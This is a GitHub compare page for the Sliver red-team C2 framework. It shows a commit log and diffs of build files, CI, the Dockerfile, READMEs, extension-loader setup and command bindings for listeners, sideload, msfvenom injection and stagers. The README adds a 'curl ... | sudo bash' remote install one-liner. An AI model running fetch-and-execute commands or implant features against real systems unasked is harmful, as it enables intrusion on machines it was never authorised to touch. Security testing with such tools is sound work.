Compare commits

...
130 Commits
Author SHA1 Message Date
rkervella 3c07043531 Update COFFLoader version, add it back to go-assets.sh 2021-08-24 15:59:31 +02:00
rkervella b60e826a02 Merge branch 'master' into extensions 2021-08-23 11:11:21 +02:00
Joe 80b40341d8 Merge pull request #503 from RafBishopFox/master
Getprivs: Cleanup and Adding Process Name
2021-08-21 11:53:19 -05:00
Raf c4101f502d Add process name to getprivs and cleaning up getprivs code 2021-08-21 08:09:36 -04:00
rkervella 69d99e28fd Fix merge on go.mod 2021-08-20 12:44:45 +02:00
rkervella a811b53561 Fix merge 2021-08-20 12:43:12 +02:00
rkervella 4bf7246b0a Merge branch 'master' into extensions 2021-08-20 11:13:29 +02:00
rkervella febf50e464 Add debug statements + handle some edge cases 2021-08-20 11:12:18 +02:00
Joe 59bdaa7469 Merge pull request #501 from BishopFox/gh-pages
Updated Linux install script
2021-08-19 15:17:23 -05:00
moloch-- cce67c289a Updated linux install script 2021-08-19 14:55:49 -05:00
Joe 97e7df764c Merge pull request #500 from BishopFox/go/v1.17
Go/v1.17
2021-08-19 11:48:43 -05:00
moloch-- 33e03df1c9 Fix case of Binject in vendor/ 2021-08-19 11:09:47 -05:00
moloch-- d8fc1244d6 Updated Github Actions to use 1.17 2021-08-19 10:14:46 -05:00
moloch-- 93e5d21941 Go mod tidy/vendor with 1.17 2021-08-19 10:13:36 -05:00
moloch-- 7f31a9ea3e Clean up of Dockerfile, fixed import 2021-08-19 09:59:48 -05:00
moloch-- 242afb0011 Go v1.17 2021-08-19 09:38:00 -05:00
rkervella a427f86c4e Merge branch 'master' into extensions 2021-08-19 00:04:25 +02:00
Ronan Kervella 93935b1691 Merge pull request #497 from RafBishopFox/master
Extending ls functionality
2021-08-18 17:00:56 +02:00
Raf a13a4dc12e ls: Adding a bit more info to long help (Round 2). 2021-08-18 10:04:25 -04:00
Raf 4fa4562bea ls: Adding a bit more info to long help. 2021-08-18 09:24:11 -04:00
Raf 61b86a4a9a Extending ls functionality 2021-08-18 07:52:31 -04:00
rkervella 4c2a309054 Document existing issues with Darwin extensions 2021-08-18 10:17:20 +02:00
rkervella 465eb8cfee Add comment about missing callback support 2021-08-18 09:54:09 +02:00
rkervella 55da1a5dde Update vendor 2021-08-18 09:32:31 +02:00
rkervella bf44f379ec Update vendor 2021-08-18 09:31:37 +02:00
rkervella e5430caf8d Add darwin support 2021-08-18 09:30:25 +02:00
rkervella 60c5c2ee89 Merge branch 'master' into extensions 2021-08-16 18:23:10 +02:00
rkervella 9cf607d155 Fix duplicate protobuf identifier 2021-08-16 17:29:18 +02:00
rkervella e3a6b237f1 Fix typo 2021-08-16 16:22:52 +02:00
Ronan Kervella 2c70ff1291 Merge pull request #496 from RafBishopFox/master
Adding process integrity to getprivs
2021-08-16 15:55:37 +02:00
Raf 4a3a2a7be3 Adding process integrity to getprivs 2021-08-16 09:23:56 -04:00
Joe 2a8f9bca18 Merge pull request #493 from BishopFox/go/v1.16.7
Go v1.16.7
2021-08-09 10:29:06 -05:00
moloch-- d46a67c840 Go v1.16.7 2021-08-09 10:06:49 -05:00
rkervella 8b99a98d5e Merge branch 'master' into extensions 2021-08-04 14:14:46 +02:00
Ronan Kervella 043eda5bc4 Merge pull request #492 from BishopFox/procdump-memory
In-memory procdump
2021-08-04 13:23:41 +02:00
rkervella a51d93cf58 Merge branch 'master' into procdump-memory 2021-08-04 12:14:22 +02:00
rkervella 44abb0e03b Switch to in memory process dump on windows 2021-08-04 12:00:01 +02:00
Ronan Kervella 09d94ab559 Merge pull request #491 from BishopFox/jd/extensions
Extensions
2021-08-04 09:13:17 +02:00
moloch-- 1420ebd447 Moved asset setup to client/console 2021-08-03 19:51:37 -07:00
rkervella 96a531f9d4 Merge branch 'master' into extensions 2021-08-03 12:33:55 +02:00
Ronan Kervella 7ef4923fc0 Merge pull request #490 from iiiusky/fix/portfwdBug
fix: Remove default from select, which will cause the cpu to spike
Overriding commit signing for this one, it's a one line change with no security impact.
2021-08-03 11:50:18 +02:00
sky 3f83761a90 fix: Remove default from select, which will cause the cpu to spike 2021-08-03 16:11:36 +08:00
Ronan Kervella f3bdb5cadc Merge pull request #486 from BishopFox/hosts
Hosts
2021-08-02 09:04:31 +02:00
moloch-- fd3df6a3f3 Implemented ioc rm cmd 2021-07-31 11:42:23 -07:00
moloch-- 3c6b60bc3e Hosts IOC tracking support 2021-07-31 08:25:27 -07:00
moloch-- d42373e545 Added hosts iocs cmd 2021-07-29 19:41:32 -05:00
moloch-- 76e4f430d0 Merged extensions 2021-07-29 09:32:42 -05:00
moloch-- ab8d431c39 implemented hosts rm 2021-07-29 09:28:18 -05:00
moloch-- e4ad404822 Fix host uuid 2021-07-29 06:57:19 -05:00
rkervella 9e6a771a1a Merge branch 'master' into extensions 2021-07-29 11:40:54 +02:00
Ronan Kervella 94eb13610b Merge pull request #485 from BishopFox/registry
Add registry list-subkeys and list-values sub commands
2021-07-29 11:37:29 +02:00
rkervella 394fdb4a1e Add registry list-subkeys and list-values sub commands 2021-07-29 11:06:27 +02:00
rkervella 69ebbcb728 Merge branch 'extensions' of bishopfox.github.com:BishopFox/sliver into extensions 2021-07-29 10:17:28 +02:00
rkervella 5c65da3567 Add loader and default manifest to client's assets 2021-07-29 10:16:25 +02:00
rkervella 1c67a11c29 Remove CLR DLL as we don't need it anymore 2021-07-29 08:34:27 +02:00
moloch-- 755bed951b Add ioc tracking 2021-07-28 23:37:49 -05:00
moloch-- 7ba4e5bec0 Sessions for hosts 2021-07-28 23:04:26 -05:00
moloch-- 5d8d49461c Outlined hosts db and cmd 2021-07-28 22:48:14 -05:00
Joe cadc717963 Merge pull request #484 from BishopFox/jd/extensions
Platform agnostic path manipulation in macros
2021-07-28 14:27:38 -05:00
moloch-- ce4a7c7dcc Platform agnostic path manipulation in macros 2021-07-28 14:06:22 -05:00
Ronan Kervella ab8ff6a06a Merge pull request #483 from BishopFox/jd/extensions
Platform agnostic path manipulation
2021-07-28 17:41:51 +02:00
moloch-- 3b93554df2 Platform agnostic path manipulation 2021-07-28 08:20:52 -05:00
rkervella b688b7b121 Only update session when necessary 2021-07-28 14:58:01 +02:00
rkervella 3ce603a3c7 Fix constructor call, add dynamic entrypoint resolution for BOFs 2021-07-28 11:48:17 +02:00
Ronan Kervella 9d3b6564f8 Merge pull request #480 from BishopFox/fix/reg-crash
Fix crash on registry read
2021-07-27 19:02:34 +02:00
rkervella 9cdb3e6def Apply fix to reg-create and reg-write too 2021-07-27 18:43:07 +02:00
rkervella 2df7f1319f Fix #479 2021-07-27 18:40:18 +02:00
rkervella 4ad24ac3a0 Fix typo 2021-07-27 18:14:20 +02:00
rkervella 3d9df17d43 Fix path 2021-07-27 15:49:35 +02:00
rkervella d53c646af0 Store extension dir in assets 2021-07-27 15:44:05 +02:00
rkervella 601c1eea64 Add support for init function 2021-07-27 15:27:31 +02:00
rkervella 12ee96451a Refactor BOF args parsing 2021-07-27 15:24:29 +02:00
rkervella cc304ba85a Update readme 2021-07-27 15:19:09 +02:00
rkervella a743a72500 vendor update 2021-07-27 15:14:26 +02:00
rkervella 6c75b08648 Extension rework 2021-07-27 15:14:13 +02:00
Joe d928ca58dd Merge pull request #478 from RafBishopFox/master
Add new Windows command getprivs
2021-07-25 16:30:00 -05:00
Raf c18ba5fcb8 Merge branch 'master' of github.com:RafBishopFox/sliver 2021-07-25 16:29:02 -04:00
Raf 0e9545ae1c Adding getprivs command for Windows 2021-07-25 16:28:48 -04:00
Raf e6d1041068 Adding getprivs command for Windows 2021-07-25 16:07:49 -04:00
rkervella 85265d663f WIP, doesn't work with LSASS 2021-07-23 13:45:13 +02:00
Joe 7a38ddffb6 Merge pull request #477 from BishopFox/fix/proto
Migrate to google.golang.org/protobuf
2021-07-21 18:16:19 -05:00
moloch-- 5b160e358e Moved to google.golang.org/protobuf 2021-07-21 11:27:30 -05:00
moloch-- f94f0fc938 added implant/README.md 2021-07-21 11:17:57 -05:00
moloch-- 714499b21b added warning to constants header 2021-07-21 11:06:25 -05:00
Ronan Kervella 9be7ccb209 Merge pull request #476 from BishopFox/extensions
Fix extensions arguments parsing
2021-07-20 16:33:27 +02:00
rkervella a43850333b Fix extensions arguments parsing 2021-07-20 16:00:43 +02:00
Ronan Kervella f6351f725a Merge pull request #475 from BishopFox/extensions
Update sideload to use Donut
2021-07-20 15:10:19 +02:00
rkervella 1079a559ab Update sideload to use Donut 2021-07-20 14:37:45 +02:00
Ronan Kervella 5bcf9ba893 Merge pull request #474 from BishopFox/cat-hex
Add hex dump to the cat command
2021-07-20 13:27:44 +02:00
rkervella ebfa3ca86c Add hex dump to the cat command 2021-07-20 12:56:00 +02:00
Joe 6c62dfb486 Merge pull request #473 from BishopFox/fix/dns
Fixed issue #436 and standardized on --lhost/-L for all listener cmds
2021-07-19 17:46:28 -05:00
moloch-- 76cd61a27d Fixed issue #436 and standardized on --lhost/-L for all listener commands 2021-07-19 15:53:16 -05:00
Ronan Kervella 35d692b4ca Merge pull request #472 from BishopFox/dll-hijack
Add dllhijack command
2021-07-19 17:16:44 +02:00
rkervella a1058aa4f0 Update long help 2021-07-19 16:40:11 +02:00
rkervella ae3c082498 Add dllhijack command 2021-07-19 15:43:16 +02:00
Ronan Kervella d3a107cf43 Merge pull request #471 from BishopFox/duphandle
Use DuplicateHandle to get a fully privileged handle to remote processes instead of PROCESS_ALL_ACCESS request
2021-07-16 15:00:40 +02:00
rkervella ee5acfe47b No more OpenProcess with PROCESSS_ALL_ACCESS 2021-07-16 14:16:18 +02:00
Joe 10c3062016 Merge pull request #470 from BishopFox/stage
Go v1.16.6
2021-07-15 15:11:43 -05:00
moloch-- 5e80dfcfb9 Go v1.16.6 2021-07-15 14:51:37 -05:00
Joe 5bcfa4c249 Merge pull request #468 from BishopFox/stage
Disable garble's -tiny option
2021-07-13 08:07:10 -05:00
rkervella ac3e29a287 Disable garble's -tiny option 2021-07-13 14:34:20 +02:00
Joe a3af100db0 Update README.md 2021-07-09 17:05:58 -05:00
Joe 7489c69962 Merge pull request #465 from BishopFox/gh-pages
Bug Fixes & GH Pages
2021-07-09 16:45:21 -05:00
moloch-- 3859b3493e Added some content 2021-07-09 16:26:13 -05:00
moloch-- 874023b8c3 Fix bug in loot allOf 2021-07-09 16:11:14 -05:00
moloch-- 5f971b36d4 Outlined docs/ 2021-07-09 14:46:59 -05:00
moloch-- b2451c4bfb All survey v2 2021-07-09 14:46:02 -05:00
moloch-- 2af5195c85 Updated readme 2021-07-06 20:53:11 -05:00
moloch-- bff100ad31 Updated readme 2021-07-06 19:43:54 -05:00
Joe b20ee295bb Merge pull request #464 from BishopFox/ux/generate
Add warning when cross-compiling to targets without a cross-compiler …
2021-07-06 09:39:18 -05:00
moloch-- 249f9355f2 Fix typo 2021-07-06 09:19:01 -05:00
moloch-- 3793fae878 Add warning when cross-compiling to targets without a cross-compiler instaleld 2021-07-06 09:15:45 -05:00
Ronan Kervella 3e8ce33a49 Merge pull request #462 from BishopFox/fix/461
Fix #461
2021-07-06 15:16:17 +02:00
rkervella 2ea95543a9 Fix #461 2021-07-06 14:28:23 +02:00
moloch-- 1857b9c0ed More readme's 2021-07-05 23:05:45 -05:00
Joe 9e56e9ac4b Merge pull request #459 from BishopFox/reaction
Reaction
2021-07-05 21:11:35 -05:00
moloch-- 106b2a7c5c Cleanup/tweaks 2021-07-05 18:07:42 -05:00
moloch-- 8d3cba07ef Added verbose help for reactions 2021-07-05 17:09:11 -05:00
moloch-- 43398e2eee Added save/reload cmds, autoload reactions if they exist at start up 2021-07-05 16:34:06 -05:00
moloch-- 8d8e902a72 get-env, etc -> env with subcommands 2021-07-05 15:57:01 -05:00
moloch-- 28c7460983 Cleanup some reaction code 2021-07-05 13:32:35 -05:00
moloch-- 084faf44ca Implemented event reaction command 2021-07-05 12:09:40 -05:00
Joe c616f7a9b2 Merge pull request #458 from BishopFox/fix/golint
Various golint fixes
2021-07-04 14:22:13 -05:00
moloch-- 53d6d14c72 Various golint fixes 2021-07-04 14:04:29 -05:00
Joe ea32922663 Merge pull request #457 from BishopFox/fix/golint
Fix/golint
2021-07-04 13:39:58 -05:00
moloch-- 7321f62778 golint fixes in server/generate 2021-07-04 13:22:27 -05:00
moloch-- cee5966e77 golint fixes in client/core 2021-07-04 13:19:53 -05:00
moloch-- b800448670 golint fixes in server/ 2021-07-04 13:17:18 -05:00
moloch-- 9a5d6948fe Added export comments to client/command 2021-07-04 13:08:15 -05:00
moloch-- 2e4ab0a3bb Move lic 2021-07-04 10:53:04 -05:00
403 changed files with 20729 additions and 5451 deletions

No files matched your search

+15 -22
View File
@@ -1,28 +1,21 @@
assets/*.zip
assets/darwin
assets/linux
assets/windows
server/assets/fs/**.zip
/server/assets/fs/**.zip
*.sdk.tar.xz
/*.sdk.tar.xz
sliver-server
sliver-server.exe
/sliver-server
/sliver-server.exe
sliver-client
sliver-client.exe
/sliver-client
/sliver-client.exe
gui/
gui/*
/.vscode/
/.vscode/*
.vscode/
.vscode/*
/.github/
/.github/*
.github/
.github/*
build.py
LICENSE
SECURITY.md
README.md
CONTRIBUTING.md
/build.py
/LICENSE
/SECURITY.md
/README.md
/CONTRIBUTING.md
+4 -4
View File
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -59,10 +59,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+2 -2
View File
@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.16"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
+4 -4
View File
@@ -15,10 +15,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -50,10 +50,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+7 -7
View File
@@ -1,10 +1,10 @@
.vscode/*
.devcontainer
/.vscode/*
/.devcontainer
Dockerfile.*
*.sdk.tar.xz
/Dockerfile.*
/*.sdk.tar.xz
release-*
/release-*
# Diffs
*.orig
@@ -30,10 +30,10 @@ sliver-server-windows.zip
*.dylib
# Test binary, build with `go test -c`
*.test
/*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
/*.out
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
.glide/
+11 -8
View File
@@ -1,4 +1,4 @@
FROM golang:1.16.5
FROM golang:1.17
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
# > Sliver
#
# protoc
# Protoc
WORKDIR /tmp
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# assets
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN ls -lah \
&& /opt/sliver-server unpack --force \
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
+6 -2
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source, cross-platform adversary emulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -15,7 +15,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* Staged and Stageless payloads
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Local and remote process injection
* Windows process migration
@@ -28,6 +28,10 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
#### Linux One Liner
`curl https://sliver.sh/install|sudo bash` and then run `sliver`
### Help!
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
+4 -2
View File
@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
__Important:__ No code in this directory can import any code from `server/`.
* `assets/` - Static asset files and management code (e.g. client configs)
* `command/` - Command implementations
* `cli/` - Command line interface implementation
* `command/` - Console command implementations
* `constants/` - Various shared constant values
* `core/` - Client state management
* `help/` - Console help
* `licenses/` - Open source licenses
* `spin/` - Console spinner library
* `tcpproxy/` - Local TCP proxy listener code
* `transport/` - Wires the client to the server
* `version/` - Version information
* `main.go` - Entrypoint
+9
View File
@@ -0,0 +1,9 @@
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
+100
View File
@@ -19,15 +19,29 @@ package assets
*/
import (
"embed"
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
@@ -42,3 +56,89 @@ func GetRootAppDir() string {
}
return dir
}
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
func saveAssetVersion(appDir string) {
versionFilePath := path.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
}
// Setup - Extract or create local assets
func Setup(force bool, echo bool) {
appDir := GetRootAppDir()
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf("Unpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
}
saveAssetVersion(appDir)
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
}
+16
View File
@@ -0,0 +1,16 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
+3 -3
View File
@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
func StartClientConsole() error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
@@ -93,11 +93,11 @@ func StartClientConsole() error {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %v", err)
fmt.Printf("Connection to server failed %s", err)
return nil
}
defer ln.Close()
return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
}
// Execute - Execute root command
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+314 -27
View File
@@ -34,16 +34,22 @@ package command
*/
import (
"os"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/hosts"
"github.com/bishopfox/sliver/client/command/info"
"github.com/bishopfox/sliver/client/command/jobs"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/macros"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/operators"
@@ -51,6 +57,7 @@ import (
"github.com/bishopfox/sliver/client/command/portfwd"
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
@@ -71,6 +78,21 @@ const (
// BindCommands - Bind commands to a App
func BindCommands(con *console.SliverConsoleClient) {
n, err := reaction.LoadReactions()
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("Failed to load reactions: %s\n", err)
} else if n > 0 {
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
}
// Attempt to load extensions from ~/.sliver-client/extensions/
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
// Absorb error in case there's no extensions manifest
if err == nil {
for _, ext := range exts {
extensions.RegisterExtensionCommand(ext, con)
}
}
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
// [ Update ] --------------------------------------------------------------
@@ -138,7 +160,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start an mTLS listener",
LongHelp: help.GetHelpFor([]string{consts.MtlsStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "server", "", "interface to bind server to")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultMTLSLPort, "tcp listen port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -158,9 +180,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start a WireGuard listener",
LongHelp: help.GetHelpFor([]string{consts.WGStr}),
Flags: func(f *grumble.Flags) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun inteface key exchange port")
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
},
@@ -180,6 +203,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("d", "domains", "", "parent domain(s) to use for DNS c2")
f.Bool("c", "no-canaries", false, "disable dns canary detection")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -201,6 +225,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("d", "domain", "", "limit responses to specific domain")
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -222,6 +247,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("d", "domain", "", "limit responses to specific domain")
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
f.String("c", "cert", "", "PEM encoded certificate file")
@@ -596,7 +622,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Load and execute a shared object (shared library/DLL) in a remote process",
LongHelp: help.GetHelpFor([]string{consts.SideloadStr}),
Flags: func(f *grumble.Flags) {
f.String("a", "args", "", "Arguments for the shared library function")
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("s", "save", false, "save output to file")
@@ -605,6 +630,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Args: func(a *grumble.Args) {
a.String("filepath", "path the shared library file")
a.StringList("args", "arguments for the binary", grumble.Default([]string{}))
},
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
@@ -664,7 +690,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.MsfStr}),
Flags: func(f *grumble.Flags) {
f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
f.String("o", "lhost", "", "listen host")
f.String("L", "lhost", "", "listen host")
f.Int("l", "lport", 4444, "listen port")
f.String("e", "encoder", "", "msf encoder")
f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -687,7 +713,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int("p", "pid", -1, "pid to inject into")
f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
f.String("o", "lhost", "", "listen host")
f.String("L", "lhost", "", "listen host")
f.Int("l", "lport", 4444, "listen port")
f.String("e", "encoder", "", "msf encoder")
f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -808,8 +834,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.String("l", "lhost", "", "Listening host")
f.Int("p", "lport", 8443, "Listening port")
f.String("L", "lhost", "", "Listening host")
f.Int("l", "lport", 8443, "Listening port")
f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)")
f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
